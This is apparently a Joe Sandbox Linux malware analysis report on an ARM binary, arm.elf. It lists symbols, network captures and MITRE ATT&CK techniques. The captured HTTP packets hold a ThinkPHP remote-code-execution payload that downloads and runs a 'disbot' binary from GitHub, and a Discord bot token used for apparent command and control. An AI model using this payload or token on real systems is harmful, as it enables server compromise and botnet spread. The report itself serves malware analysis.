.symtab	0x208b74	272	FUNC	<unknown>	DEFAULT	1
.symtab	0x208c84	428	FUNC	<unknown>	DEFAULT	1
.symtab	0x208e30	572	FUNC	<unknown>	DEFAULT	1
.symtab	0x20906c	2340	FUNC	<unknown>	DEFAULT	1
.symtab	0x209990	464	FUNC	<unknown>	DEFAULT	1
.symtab	0x209b60	184	FUNC	<unknown>	DEFAULT	1
.symtab	0x209c18	1060	FUNC	<unknown>	DEFAULT	1
.symtab	0x20a03c	544	FUNC	<unknown>	DEFAULT	1
.symtab	0x20a25c	1084	FUNC	<unknown>	DEFAULT	1
.symtab	0x20a698	316	FUNC	<unknown>	DEFAULT	1
.symtab	0x20a7d4	312	FUNC	<unknown>	DEFAULT	1
.symtab	0x20a90c	232	FUNC	<unknown>	DEFAULT	1
.symtab	0x20a9f4	276	FUNC	<unknown>	DEFAULT	1
.symtab	0x20ab08	448	FUNC	<unknown>	DEFAULT	1
.symtab	0x20acc8	268	FUNC	<unknown>	DEFAULT	1
.symtab	0x20add4	368	FUNC	<unknown>	DEFAULT	1
.symtab	0x20af44	364	FUNC	<unknown>	DEFAULT	1
.symtab	0x20b0b0	604	FUNC	<unknown>	DEFAULT	1
.symtab	0x20b30c	460	FUNC	<unknown>	DEFAULT	1
.symtab	0x20b4d8	232	FUNC	<unknown>	DEFAULT	1
.symtab	0x20b5c0	248	FUNC	<unknown>	DEFAULT	1
.symtab	0x20b6b8	248	FUNC	<unknown>	DEFAULT	1
.symtab	0x20b7b0	688	FUNC	<unknown>	DEFAULT	1
.symtab	0x20ba60	248	FUNC	<unknown>	DEFAULT	1
.symtab	0x20bb58	248	FUNC	<unknown>	DEFAULT	1
.symtab	0x20bc50	424	FUNC	<unknown>	DEFAULT	1
.symtab	0x20bdf8	248	FUNC	<unknown>	DEFAULT	1
.symtab	0x20bef0	248	FUNC	<unknown>	DEFAULT	1
.symtab	0x20bfe8	1052	FUNC	<unknown>	DEFAULT	1
.symtab	0x20c404	248	FUNC	<unknown>	DEFAULT	1
.symtab	0x20c4fc	248	FUNC	<unknown>	DEFAULT	1
.symtab	0x20c5f4	944	FUNC	<unknown>	DEFAULT	1
.symtab	0x20c9a4	248	FUNC	<unknown>	DEFAULT	1
.symtab	0x20ca9c	248	FUNC	<unknown>	DEFAULT	1
.symtab	0x20cb94	472	FUNC	<unknown>	DEFAULT	1
.symtab	0x20cd6c	264	FUNC	<unknown>	DEFAULT	1
.symtab	0x20ce74	236	FUNC	<unknown>	DEFAULT	1
.symtab	0x20cf60	236	FUNC	<unknown>	DEFAULT	1
.symtab	0x20d04c	432	FUNC	<unknown>	DEFAULT	1
.symtab	0x20d1fc	112	FUNC	<unknown>	DEFAULT	1
.symtab	0x20d26c	280	FUNC	<unknown>	DEFAULT	1
.symtab	0x20d384	116	FUNC	<unknown>	DEFAULT	1
.symtab	0x20d3f8	400	FUNC	<unknown>	DEFAULT	1
.symtab	0x20d588	616	FUNC	<unknown>	DEFAULT	1
.symtab	0x20d7f0	84	FUNC	<unknown>	DEFAULT	1
.symtab	0x20d844	572	FUNC	<unknown>	DEFAULT	1
.symtab	0x20da80	1292	FUNC	<unknown>	DEFAULT	1
.symtab	0x20df8c	216	FUNC	<unknown>	DEFAULT	1
.symtab	0x20e064	1416	FUNC	<unknown>	DEFAULT	1
.symtab	0x20e5ec	1264	FUNC	<unknown>	DEFAULT	1
.symtab	0x20eadc	284	FUNC	<unknown>	DEFAULT	1
.symtab	0x20ebf8	212	FUNC	<unknown>	DEFAULT	1
.symtab	0x20eccc	156	FUNC	<unknown>	DEFAULT	1
.symtab	0x20ed68	144	FUNC	<unknown>	DEFAULT	1
.symtab	0x20edf8	144	FUNC	<unknown>	DEFAULT	1
.symtab	0x20ee88	120	FUNC	<unknown>	DEFAULT	1
.symtab	0x20ef00	120	FUNC	<unknown>	DEFAULT	1
.symtab	0x20ef78	120	FUNC	<unknown>	DEFAULT	1
.symtab	0x20eff0	120	FUNC	<unknown>	DEFAULT	1
.symtab	0x20f068	120	FUNC	<unknown>	DEFAULT	1
.symtab	0x20f0e0	120	FUNC	<unknown>	DEFAULT	1
.symtab	0x20f158	120	FUNC	<unknown>	DEFAULT	1
.symtab	0x20f1d0	88	FUNC	<unknown>	DEFAULT	1
.symtab	0x20f228	88	FUNC	<unknown>	DEFAULT	1
.symtab	0x20f280	168	FUNC	<unknown>	DEFAULT	1
.symtab	0x20f328	168	FUNC	<unknown>	DEFAULT	1
.symtab	0x20f3d0	156	FUNC	<unknown>	DEFAULT	1
.symtab	0x20f46c	116	FUNC	<unknown>	DEFAULT	1
.symtab	0x20f4e0	100	FUNC	<unknown>	DEFAULT	1
.symtab	0x20f544	96	FUNC	<unknown>	DEFAULT	1
.symtab	0x20f5a4	224	FUNC	<unknown>	DEFAULT	1
.symtab	0x20f684	304	FUNC	<unknown>	DEFAULT	1
.symtab	0x20f7b4	84	FUNC	<unknown>	DEFAULT	1
.symtab	0x20f808	5340	FUNC	<unknown>	DEFAULT	1
.symtab	0x210ce4	72	FUNC	<unknown>	DEFAULT	1
.symtab	0x210d2c	136	FUNC	<unknown>	DEFAULT	1
.symtab	0x210db4	140	FUNC	<unknown>	DEFAULT	1
.symtab	0x210e40	204	FUNC	<unknown>	DEFAULT	1
.symtab	0x210f0c	1212	FUNC	<unknown>	DEFAULT	1
.symtab	0x2113c8	84	FUNC	<unknown>	DEFAULT	1
.symtab	0x21141c	84	FUNC	<unknown>	DEFAULT	1
.symtab	0x211470	92	FUNC	<unknown>	DEFAULT	1
.symtab	0x2114cc	144	FUNC	<unknown>	DEFAULT	1
.symtab	0x21155c	124	FUNC	<unknown>	DEFAULT	1
.symtab	0x2115d8	136	FUNC	<unknown>	DEFAULT	1
.symtab	0x211660	156	FUNC	<unknown>	DEFAULT	1
.symtab	0x2116fc	204	FUNC	<unknown>	DEFAULT	1
.symtab	0x2117c8	148	FUNC	<unknown>	DEFAULT	1
.symtab	0x21185c	36	FUNC	<unknown>	DEFAULT	1
.symtab	0x211880	196	FUNC	<unknown>	DEFAULT	1
.symtab	0x211944	152	FUNC	<unknown>	DEFAULT	1
.symtab	0x2119dc	16	FUNC	<unknown>	DEFAULT	1
.symtab	0x2119ec	556	FUNC	<unknown>	DEFAULT	1
.symtab	0x211c18	488	FUNC	<unknown>	DEFAULT	1
.symtab	0x211e00	372	FUNC	<unknown>	DEFAULT	1
.symtab	0x211f74	1000	FUNC	<unknown>	DEFAULT	1
.symtab	0x21235c	232	FUNC	<unknown>	DEFAULT	1
.symtab	0x212444	204	FUNC	<unknown>	DEFAULT	1
.symtab	0x212510	576	FUNC	<unknown>	DEFAULT	1
.symtab	0x212750	536	FUNC	<unknown>	DEFAULT	1
.symtab	0x212968	816	FUNC	<unknown>	DEFAULT	1
.symtab	0x212c98	240	FUNC	<unknown>	DEFAULT	1

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Dec 16, 2024 15:12:50.969713926 CET	38532	80	192.168.2.23	143.43.177.146
Dec 16, 2024 15:12:50.972532034 CET	37984	80	192.168.2.23	24.173.115.100
Dec 16, 2024 15:12:51.089709997 CET	80	38532	143.43.177.146	192.168.2.23
Dec 16, 2024 15:12:51.089869976 CET	38532	80	192.168.2.23	143.43.177.146
Dec 16, 2024 15:12:51.092262983 CET	80	37984	24.173.115.100	192.168.2.23
Dec 16, 2024 15:12:51.092327118 CET	37984	80	192.168.2.23	24.173.115.100
Dec 16, 2024 15:12:51.098247051 CET	37984	80	192.168.2.23	24.173.115.100
Dec 16, 2024 15:12:51.099729061 CET	38532	80	192.168.2.23	143.43.177.146
Dec 16, 2024 15:12:51.156315088 CET	53584	443	192.168.2.23	162.159.137.232
Dec 16, 2024 15:12:51.156440973 CET	443	53584	162.159.137.232	192.168.2.23
Dec 16, 2024 15:12:51.156513929 CET	53584	443	192.168.2.23	162.159.137.232
Dec 16, 2024 15:12:51.170694113 CET	53584	443	192.168.2.23	162.159.137.232
Dec 16, 2024 15:12:51.170722961 CET	443	53584	162.159.137.232	192.168.2.23
Dec 16, 2024 15:12:51.218054056 CET	80	37984	24.173.115.100	192.168.2.23
Dec 16, 2024 15:12:51.219449997 CET	80	38532	143.43.177.146	192.168.2.23
Dec 16, 2024 15:12:52.401896954 CET	443	53584	162.159.137.232	192.168.2.23
Dec 16, 2024 15:12:52.402199984 CET	53584	443	192.168.2.23	162.159.137.232
Dec 16, 2024 15:12:52.407572031 CET	53584	443	192.168.2.23	162.159.137.232
Dec 16, 2024 15:12:52.407603025 CET	443	53584	162.159.137.232	192.168.2.23
Dec 16, 2024 15:12:52.448004007 CET	53584	443	192.168.2.23	162.159.137.232
Dec 16, 2024 15:12:52.448044062 CET	443	53584	162.159.137.232	192.168.2.23
Dec 16, 2024 15:12:52.452996969 CET	443	53584	162.159.137.232	192.168.2.23
Dec 16, 2024 15:12:52.453090906 CET	53584	443	192.168.2.23	162.159.137.232
Dec 16, 2024 15:12:52.847949028 CET	42836	443	192.168.2.23	91.189.91.43
Dec 16, 2024 15:12:53.957190037 CET	53584	443	192.168.2.23	162.159.137.232
Dec 16, 2024 15:12:53.957602978 CET	443	53584	162.159.137.232	192.168.2.23
Dec 16, 2024 15:12:53.957664967 CET	53584	443	192.168.2.23	162.159.137.232
Dec 16, 2024 15:12:53.957705975 CET	443	53584	162.159.137.232	192.168.2.23
Dec 16, 2024 15:12:53.957748890 CET	53584	443	192.168.2.23	162.159.137.232
Dec 16, 2024 15:12:53.961035967 CET	37984	80	192.168.2.23	24.173.115.100
Dec 16, 2024 15:12:53.961035967 CET	38532	80	192.168.2.23	143.43.177.146
Dec 16, 2024 15:12:53.992166042 CET	50238	49152	192.168.2.23	141.147.101.109
Dec 16, 2024 15:12:53.995454073 CET	45454	49152	192.168.2.23	194.67.20.130
Dec 16, 2024 15:12:54.000722885 CET	53584	443	192.168.2.23	162.159.137.232
Dec 16, 2024 15:12:54.047346115 CET	443	53584	162.159.137.232	192.168.2.23
Dec 16, 2024 15:12:54.112709045 CET	49152	50238	141.147.101.109	192.168.2.23
Dec 16, 2024 15:12:54.112970114 CET	50238	49152	192.168.2.23	141.147.101.109
Dec 16, 2024 15:12:54.115452051 CET	49152	45454	194.67.20.130	192.168.2.23
Dec 16, 2024 15:12:54.115556955 CET	45454	49152	192.168.2.23	194.67.20.130
Dec 16, 2024 15:12:54.117923021 CET	50238	49152	192.168.2.23	141.147.101.109
Dec 16, 2024 15:12:54.124593973 CET	45454	49152	192.168.2.23	194.67.20.130
Dec 16, 2024 15:12:54.124783993 CET	80	38532	143.43.177.146	192.168.2.23
Dec 16, 2024 15:12:54.124794006 CET	80	37984	24.173.115.100	192.168.2.23
Dec 16, 2024 15:12:54.127763033 CET	42516	80	192.168.2.23	109.202.202.202
Dec 16, 2024 15:12:54.238204002 CET	49152	50238	141.147.101.109	192.168.2.23
Dec 16, 2024 15:12:54.244569063 CET	49152	45454	194.67.20.130	192.168.2.23
Dec 16, 2024 15:12:54.334264994 CET	443	53584	162.159.137.232	192.168.2.23
Dec 16, 2024 15:12:54.334399939 CET	53584	443	192.168.2.23	162.159.137.232
Dec 16, 2024 15:12:54.334439039 CET	443	53584	162.159.137.232	192.168.2.23
Dec 16, 2024 15:12:54.334495068 CET	443	53584	162.159.137.232	192.168.2.23
Dec 16, 2024 15:12:54.334634066 CET	53584	443	192.168.2.23	162.159.137.232
Dec 16, 2024 15:12:54.350908041 CET	53584	443	192.168.2.23	162.159.137.232
Dec 16, 2024 15:12:54.350938082 CET	443	53584	162.159.137.232	192.168.2.23
Dec 16, 2024 15:12:54.516318083 CET	50380	443	192.168.2.23	162.159.133.234
Dec 16, 2024 15:12:54.516355038 CET	443	50380	162.159.133.234	192.168.2.23
Dec 16, 2024 15:12:54.516408920 CET	50380	443	192.168.2.23	162.159.133.234
Dec 16, 2024 15:12:54.525403976 CET	50380	443	192.168.2.23	162.159.133.234
Dec 16, 2024 15:12:54.525415897 CET	443	50380	162.159.133.234	192.168.2.23
Dec 16, 2024 15:12:55.749880075 CET	443	50380	162.159.133.234	192.168.2.23
Dec 16, 2024 15:12:55.750058889 CET	50380	443	192.168.2.23	162.159.133.234
Dec 16, 2024 15:12:55.754885912 CET	50380	443	192.168.2.23	162.159.133.234
Dec 16, 2024 15:12:55.754897118 CET	443	50380	162.159.133.234	192.168.2.23
Dec 16, 2024 15:12:55.760772943 CET	50380	443	192.168.2.23	162.159.133.234
Dec 16, 2024 15:12:55.760781050 CET	443	50380	162.159.133.234	192.168.2.23
Dec 16, 2024 15:12:55.762511015 CET	443	50380	162.159.133.234	192.168.2.23
Dec 16, 2024 15:12:55.762564898 CET	50380	443	192.168.2.23	162.159.133.234
Dec 16, 2024 15:12:55.817826033 CET	50380	443	192.168.2.23	162.159.133.234
Dec 16, 2024 15:12:55.818304062 CET	443	50380	162.159.133.234	192.168.2.23
Dec 16, 2024 15:12:55.818363905 CET	50380	443	192.168.2.23	162.159.133.234
Dec 16, 2024 15:12:55.818408012 CET	443	50380	162.159.133.234	192.168.2.23
Dec 16, 2024 15:12:55.818453074 CET	50380	443	192.168.2.23	162.159.133.234
Dec 16, 2024 15:12:55.821098089 CET	50380	443	192.168.2.23	162.159.133.234
Dec 16, 2024 15:12:55.863338947 CET	443	50380	162.159.133.234	192.168.2.23
Dec 16, 2024 15:12:56.212568998 CET	443	50380	162.159.133.234	192.168.2.23
Dec 16, 2024 15:12:56.212668896 CET	443	50380	162.159.133.234	192.168.2.23
Dec 16, 2024 15:12:56.212744951 CET	50380	443	192.168.2.23	162.159.133.234
Dec 16, 2024 15:12:56.218769073 CET	50380	443	192.168.2.23	162.159.133.234
Dec 16, 2024 15:12:56.218794107 CET	443	50380	162.159.133.234	192.168.2.23
Dec 16, 2024 15:12:56.450195074 CET	45454	49152	192.168.2.23	194.67.20.130
Dec 16, 2024 15:12:56.450251102 CET	50238	49152	192.168.2.23	141.147.101.109
Dec 16, 2024 15:12:56.616779089 CET	49152	50238	141.147.101.109	192.168.2.23
Dec 16, 2024 15:12:56.616801977 CET	49152	45454	194.67.20.130	192.168.2.23
Dec 16, 2024 15:13:07.182167053 CET	43928	443	192.168.2.23	91.189.91.42
Dec 16, 2024 15:13:12.985551119 CET	80	37984	24.173.115.100	192.168.2.23
Dec 16, 2024 15:13:12.986255884 CET	37984	80	192.168.2.23	24.173.115.100
Dec 16, 2024 15:13:13.016781092 CET	80	38532	143.43.177.146	192.168.2.23
Dec 16, 2024 15:13:13.017277002 CET	38532	80	192.168.2.23	143.43.177.146
Dec 16, 2024 15:13:16.016959906 CET	49152	45454	194.67.20.130	192.168.2.23
Dec 16, 2024 15:13:16.017648935 CET	45454	49152	192.168.2.23	194.67.20.130
Dec 16, 2024 15:13:16.047535896 CET	49152	50238	141.147.101.109	192.168.2.23
Dec 16, 2024 15:13:16.048027039 CET	50238	49152	192.168.2.23	141.147.101.109
Dec 16, 2024 15:13:19.468573093 CET	42836	443	192.168.2.23	91.189.91.43
Dec 16, 2024 15:13:23.563965082 CET	42516	80	192.168.2.23	109.202.202.202
Dec 16, 2024 15:13:48.136586905 CET	43928	443	192.168.2.23	91.189.91.42

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Dec 16, 2024 15:12:51.002049923 CET	40794	53	192.168.2.23	1.1.1.1
Dec 16, 2024 15:12:51.002119064 CET	57454	53	192.168.2.23	1.1.1.1
Dec 16, 2024 15:12:51.139734030 CET	53	57454	1.1.1.1	192.168.2.23
Dec 16, 2024 15:12:51.142760038 CET	53	40794	1.1.1.1	192.168.2.23
Dec 16, 2024 15:12:54.357975960 CET	36864	53	192.168.2.23	1.1.1.1
Dec 16, 2024 15:12:54.359302044 CET	51984	53	192.168.2.23	1.1.1.1
Dec 16, 2024 15:12:54.496925116 CET	53	51984	1.1.1.1	192.168.2.23
Dec 16, 2024 15:12:54.497406006 CET	53	36864	1.1.1.1	192.168.2.23

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Dec 16, 2024 15:12:51.002049923 CET	192.168.2.23	1.1.1.1	0xb35a	Standard query (0)	discord.com	28	IN (0x0001)	false
Dec 16, 2024 15:12:51.002119064 CET	192.168.2.23	1.1.1.1	0xaa16	Standard query (0)	discord.com	A (IP address)	IN (0x0001)	false
Dec 16, 2024 15:12:54.357975960 CET	192.168.2.23	1.1.1.1	0xbff2	Standard query (0)	gateway.discord.gg	28	IN (0x0001)	false
Dec 16, 2024 15:12:54.359302044 CET	192.168.2.23	1.1.1.1	0x3f0d	Standard query (0)	gateway.discord.gg	A (IP address)	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	Address	Type	Class	DNS over HTTPS
Dec 16, 2024 15:12:51.139734030 CET	1.1.1.1	192.168.2.23	0xaa16	No error (0)	discord.com	162.159.137.232	A (IP address)	IN (0x0001)	false
Dec 16, 2024 15:12:51.139734030 CET	1.1.1.1	192.168.2.23	0xaa16	No error (0)	discord.com	162.159.135.232	A (IP address)	IN (0x0001)	false
Dec 16, 2024 15:12:51.139734030 CET	1.1.1.1	192.168.2.23	0xaa16	No error (0)	discord.com	162.159.136.232	A (IP address)	IN (0x0001)	false
Dec 16, 2024 15:12:51.139734030 CET	1.1.1.1	192.168.2.23	0xaa16	No error (0)	discord.com	162.159.138.232	A (IP address)	IN (0x0001)	false
Dec 16, 2024 15:12:51.139734030 CET	1.1.1.1	192.168.2.23	0xaa16	No error (0)	discord.com	162.159.128.233	A (IP address)	IN (0x0001)	false
Dec 16, 2024 15:12:54.496925116 CET	1.1.1.1	192.168.2.23	0x3f0d	No error (0)	gateway.discord.gg	162.159.133.234	A (IP address)	IN (0x0001)	false
Dec 16, 2024 15:12:54.496925116 CET	1.1.1.1	192.168.2.23	0x3f0d	No error (0)	gateway.discord.gg	162.159.130.234	A (IP address)	IN (0x0001)	false
Dec 16, 2024 15:12:54.496925116 CET	1.1.1.1	192.168.2.23	0x3f0d	No error (0)	gateway.discord.gg	162.159.136.234	A (IP address)	IN (0x0001)	false
Dec 16, 2024 15:12:54.496925116 CET	1.1.1.1	192.168.2.23	0x3f0d	No error (0)	gateway.discord.gg	162.159.135.234	A (IP address)	IN (0x0001)	false
Dec 16, 2024 15:12:54.496925116 CET	1.1.1.1	192.168.2.23	0x3f0d	No error (0)	gateway.discord.gg	162.159.134.234	A (IP address)	IN (0x0001)	false

HTTP Request Dependency Graph

discord.com

gateway.discord.gg

24.173.115.100

143.43.177.146

141.147.101.109:49152

194.67.20.130:49152

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port
0	192.168.2.23	37984	24.173.115.100	80

Timestamp	Bytes transferred	Direction	Data
Dec 16, 2024 15:12:51.098247051 CET	328	OUT	GET /public/index.php?s=/Index/\think\app/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]=curl%20cd /tmp; wget https://github.com/20Matrix77/2FTS3/raw/main/disbot; chmod 777 ; ./disbot yarn; rm -rf HTTP/1.1 Host: 24.173.115.100 User-Agent: Go-http-client/1.1 Accept-Encoding: gzip

Session ID	Source IP	Source Port	Destination IP	Destination Port
1	192.168.2.23	38532	143.43.177.146	80

Timestamp	Bytes transferred	Direction	Data
Dec 16, 2024 15:12:51.099729061 CET	328	OUT	GET /public/index.php?s=/Index/\think\app/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]=curl%20cd /tmp; wget https://github.com/20Matrix77/2FTS3/raw/main/disbot; chmod 777 ; ./disbot yarn; rm -rf HTTP/1.1 Host: 143.43.177.146 User-Agent: Go-http-client/1.1 Accept-Encoding: gzip

Session ID	Source IP	Source Port	Destination IP	Destination Port
2	192.168.2.23	50238	141.147.101.109	49152

Timestamp	Bytes transferred	Direction	Data
Dec 16, 2024 15:12:54.117923021 CET	141	OUT	GET /soap.cgi?service=WANIPConn1 HTTP/1.1 Host: 141.147.101.109:49152 User-Agent: Go-http-client/1.1 Accept-Encoding: gzip

Session ID	Source IP	Source Port	Destination IP	Destination Port
3	192.168.2.23	45454	194.67.20.130	49152

Timestamp	Bytes transferred	Direction	Data
Dec 16, 2024 15:12:54.124593973 CET	139	OUT	GET /soap.cgi?service=WANIPConn1 HTTP/1.1 Host: 194.67.20.130:49152 User-Agent: Go-http-client/1.1 Accept-Encoding: gzip

HTTPS Proxied Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port
0	192.168.2.23	53584	162.159.137.232	443

Timestamp	Bytes transferred	Direction	Data
2024-12-16 14:12:53 UTC	240	OUT	GET /api/v9/gateway HTTP/1.1 Host: discord.com User-Agent: DiscordBot (https://github.com/bwmarrin/discordgo, v0.28.1) Authorization: Bot MTIzNDE4MTg2NjE2MDkxODYyOA.GK1mdg.SBSCzzggS2i32Np0teGED2q7Ow8nD_yr4YAKAY Accept-Encoding: gzip
2024-12-16 14:12:54 UTC	1165	IN	HTTP/1.1 200 OK Date: Mon, 16 Dec 2024 14:12:54 GMT Content-Type: application/json Content-Length: 35 Connection: close Cache-Control: public, max-age=86400, s-maxage=86400 strict-transport-security: max-age=31536000; includeSubDomains; preload via: 1.1 google alt-svc: h3=":443"; ma=86400 Last-Modified: Sun, 15 Dec 2024 17:32:25 GMT CF-Cache-Status: HIT Age: 26970 Accept-Ranges: bytes Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=SxhS%2FGc4LfiF3lUt2mvwBOchfsjVGQB6ZVUUYGfp4Eau6iDlY6zxDi%2Fq%2F7KDo77oRfdJMAmaQAsSCXanfcW2Sv2Z4KroKOLQY2EiW01amFrIz2XtY7jcxrUwlISV"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} X-Content-Type-Options: nosniff Set-Cookie: __cfruid=f2d511792b10eaf091b8c8e18857f1aa2db35a2e-1734358374; path=/; domain=.discord.com; HttpOnly; Secure; SameSite=None Content-Security-Policy: frame-ancestors 'none'; default-src 'none' Set-Cookie: _cfuvid=Radj4uQJ4TcFBgK41T7nmMWt..TJtRIb7Ufg8ORt648-1734358374178-0.0.1.1-604800000; path=/; domain=.discord.com; HttpOnly; Secure; SameSite=None Server: cloudflare CF-RAY: 8f2f455e8c345e6a-EWR
2024-12-16 14:12:54 UTC	35	IN	Data Raw: 7b 22 75 72 6c 22 3a 22 77 73 73 3a 2f 2f 67 61 74 65 77 61 79 2e 64 69 73 63 6f 72 64 2e 67 67 22 7d 0a Data Ascii: {"url":"wss://gateway.discord.gg"}

Session ID	Source IP	Source Port	Destination IP	Destination Port
1	192.168.2.23	50380	162.159.133.234	443

Timestamp	Bytes transferred	Direction	Data
2024-12-16 14:12:55 UTC	230	OUT	GET /?v=9&encoding=json HTTP/1.1 Host: gateway.discord.gg User-Agent: Go-http-client/1.1 Accept-Encoding: zlib Connection: Upgrade Sec-WebSocket-Key: VKWAdsrqGU1LfmgSQtgseQ== Sec-WebSocket-Version: 13 Upgrade: websocket
2024-12-16 14:12:56 UTC	614	IN	HTTP/1.1 404 Not Found Date: Mon, 16 Dec 2024 14:12:56 GMT Content-Length: 0 Connection: close CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=k2EYVRClQIVC5ombWcm%2FkAA8%2B8xY7XC2WAJJOYSxl2JdmwGMpSYC1MCUoQ%2FmQy9mQAsrxtKlpFgmbFpZo19NQYPy9XxqgxBMDl96AgM7AB8YHMxyZIaQbpfxxDaWMxRO3Wlf7A%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Strict-Transport-Security: max-age=31536000; includeSubDomains; preload X-Content-Type-Options: nosniff Server: cloudflare CF-RAY: 8f2f456a1a0e41ba-EWR

System Behavior

Analysis Process: arm.elf PID: 6210, Parent PID: 6124

General

Start time (UTC):	14:12:49
Start date (UTC):	16/12/2024
Path:	/tmp/arm.elf
Arguments:	/tmp/arm.elf
File size:	4956856 bytes
MD5 hash:	5ebfcae4fe2471fcc5695c2394773ff1

Start time (UTC):	14:12:49
Start date (UTC):	16/12/2024
Path:	/tmp/arm.elf
Arguments:	-
File size:	4956856 bytes
MD5 hash:	5ebfcae4fe2471fcc5695c2394773ff1

Start time (UTC):	14:12:49
Start date (UTC):	16/12/2024
Path:	/usr/bin/uname
Arguments:	uname -a
File size:	39288 bytes
MD5 hash:	4ac7c634c5bec95753c480e9d421dcc2

Description:	This technique has been deprecated. Please use Command and Scripting Interpreter where appropriate.
Tactics:	Defense Evasion, Execution
Data Sources:
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Firewall: Firewall Enumeration, Firewall: Firewall Metadata, Process: OS API Execution, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using a protocol and port pairing that are typically not associated. For example, HTTPS over port 8088or port 587as opposed to the traditional port 443. Adversaries may make changes to the standard port used by a protocol to bypass filtering or muddle analysis/parsing of network data.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Linux Analysis Report arm.elf

Overview

General Information

Detection

Signatures

Classification

General Information

Warnings

Runtime Messages

Process Tree

Yara Signatures

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Spreading

Networking

System Summary

Persistence and Installation Behavior

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Stealing of Sensitive Information

Mitre Att&ck Matrix

Malware Configuration

Behavior Graph

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

Static File Info

General

Static ELF Info

ELF header

Sections

Program Segments

Symbols

Network Behavior

Network Port Distribution

TCP Packets

UDP Packets

DNS Queries

DNS Answers

HTTP Request Dependency Graph

HTTP Packets

HTTPS Proxied Packets

System Behavior

Analysis Process: arm.elf PID: 6210, Parent PID: 6124

General

Chronological Activities

Analysis Process: arm.elf PID: 6216, Parent PID: 6210

General

Chronological Activities

Analysis Process: uname PID: 6216, Parent PID: 6210

General

Chronological Activities

Linux Analysis Report
arm.elf